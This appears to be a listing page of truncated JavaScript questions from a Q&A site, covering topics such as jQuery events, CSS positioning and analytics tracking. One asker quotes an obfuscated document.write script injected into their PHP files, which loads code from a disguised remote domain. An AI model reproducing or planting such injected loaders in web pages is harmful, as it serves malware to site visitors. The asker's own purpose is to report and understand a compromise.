javascript

Measure CPU load of Javascript applications

I need to measure the performance overhead of additional Javascript event bindings (using jQuery live), the overhead would probably increase CPU load and be very hard to notice from execution time profiling. How can I measure the CPU load differences between two different versions of a Javascript application? ...

JavaScript killing a process

I am writing using JavaScript. I have a PID of a process. How do I kill it? You can terminate by a name using WMI, How can you do it using PID? UPDATE: The platform is Windows. ...

Set style using JavaScript

For some reason I'm unable to set the "top" and "left" CSS attributes using the following JavaScript. var div = document.createElement('div'); div.style.position = 'absolute'; div.style.top = 200; div.style.left = 200; document.body.appendChild(div); Using Firebug I can see that the div gets the position set to "absolute" but the top ...

Is it possible to trigger onmouseover event on iPhone

On iPhone 3G, is it possible to fire onmouseover event on safari ...

Adding and removing multiple elements in javascript

Hello everyone, I am trying to populate a list of images dynamically using javascript. I have the following code, but it is not working. If you see any errors, or know of a better way of doing this, any help will be appreciated. code is as follows: <html xmlns="http://www.w3.org/1999/xhtml"&gt; <head> <script type="text/javascript"> ...

Insert /edit JS jQuery.

Hello. I have this script: <? $query = mysql_query("SELECT * FROM azzdk") or die(mysql_error()); $row = mysql_fetch_array($query); ?> <p> <script language="JavaScript"> function myEditable(e, act) { if (act == 'click') { // lav indholdet af span om til et input felt og sæt et onblue event på den e.innerHTML = '<inp...

Iframe malicious code in PHP files?

I found the following code in PHP files in my website. I think someone just able to hack my ftp or with some way he's able to add this script in my PHP files, don't know how. <script>/*Exception*/ document.write('<script src='+'h&)t()#t@$^p^^(:&#/&/!)!@n&o&&$$@v@)!o)t@$e$!))k)^a)@!-$&&@r$u!!.)&u$!i(#m)#^s#()e$#$r#v$^(.!$#)n&e&)t).#p&&)@...

How can I prevent jquery from selecting a parent when I click on one of the children in that parent?

Hi all, ok quick scenario: html: <span class="answer">blah<input type="radio" value="1"></span> jquery: $("span.answer").click( function() { check = $("input", this); check.attr('checked', check.attr('checked') === true ? false : true); ); Ok so this will check/uncheck the child radio input inside the selected span when I click ins...

JS Input box more of them?

Hello. I have a profile.php, where each user in the community have their profile. Now i want to do something smart out of the editing, so i wish to do so when you click on a field it turns to a input and then you can edit it the field.. (example: www.azzyh.dk, click on "Click ME") Anyways, I know how to do this already, heres a script:...

How to set different baseUrl path in jQuery ajax requests in development and production mode?

My baseUrl path for jQuery ajax requests is different in development and production mode. How can I set it in some kind of config.ini file to switch it easily. Rightnow I'm using a baseurl.js file containing just baseurl path. In production mode, I change this variable via shell script. What should be better approach? edit To make th...

javascript flashvar question with JW Player

I don't know if I'll be able to get this answer here, but I'm trying to get the JW Player to toggle between high and low quality settings. Here is my code: <script type="text/javascript"> var so = new SWFObject('/lessons/videos/player.swf','mpl','610','480','9'); so.addParam('allowfullscreen','true'); so.addParam('allowscriptaccess','a...

Mapping javascript objects to their ids in an MySQL database

Hey all, This is a question that I have been pondering for a long time, but didn't want to ask because I wasn't sure how to describe it.. I'm still not sure if I can describe it well but here it goes.. I have a web app that allows you to manipulate a bunch of elements on the page, but has one save button. When I hit save I would like ...

Google Analytics not tracking transactions

I'm having trouble getting Google Analytics to track transactions for commerce. Here's the code I'm generating on my order confirmation page. I don't know how to debug this either, I can't find information on how to get error codes out of google's js. I'd run it in firebug's console if I could. At this point I'm stuck on how to proceed....

Javascript String Replace

I have a string of tags delimited by semicolons: "red; yellow; blue; green; purple" I would like to strip out all the tags that do not match a substring (case-insensitive.) For example, if I have a substring "Bl" I would like to return "blue". Any suggestions as how to best accomplish this in javascript? Specifically, I'm wonderi...

Integrating a javascript object with jquery

I have this js object which I got from php through jason_encode(). This object has 2 objects, Name and Video. Then through a for loop I distribute the names into divs. My problem is I need to create a link in each div that would create a dialog that displays the video. I'm basing this idea from the jquery UI example: http://jqueryui.co...

JavaScript callback function

Hi, I have this jQuery script: $(content).find('data').each(function(){ // parsing some data $(this).find('something').each(function(){ $(this).find('something new').each(function(){ // etc. }}; }); }); ...and I want to call function XYZ() after this script has finished. This isn't working (it will call fu...

JavaScript Event Listeners vs Event Handlers

Ok, I have been trying to figure this out for a long time now and finally have the time to investigate. As the title suggests "what is the difference"? I know that this works the way I want it to. addLoadEvent(converter); // Converter function converter() { var pixels = document.getElementById("pixels"); pixels.addEventList...

HTML form - when I hit enter it refreshes page!

Is there a way to make a form NOT refresh or call anything when you hit "Enter" key on your keyboard? Thank you so much!!! I found this code for preventing Enter from working, but it DOESN'T work in IE :( $(document).ready(function() { $(window).keydown(function(event){ if(event.keyCode == 13) { event.preventDefault(); ...

Replacing inside javascript code with innerhtml?

Hi folks, Such a simple thing I need to do, and it doesn't seem like any of the regular swf players will meet my needs, so I think I need to do this workaround. I just need to be able to toggle between a high quality and a low quality .flv video. So I'm thinking of just having two buttons with onclick events to change the innerhtml o...

Constantly running javascript?

How can I have my javascript code constantly run? The situation is that I want some page elements to be resized when the page resizes. I'm thinking that the way to do this would be to have some javascript code that constantly runs, and whenever the page size changes, it resizes that element. I tried doing this with setTimeout() and a rea...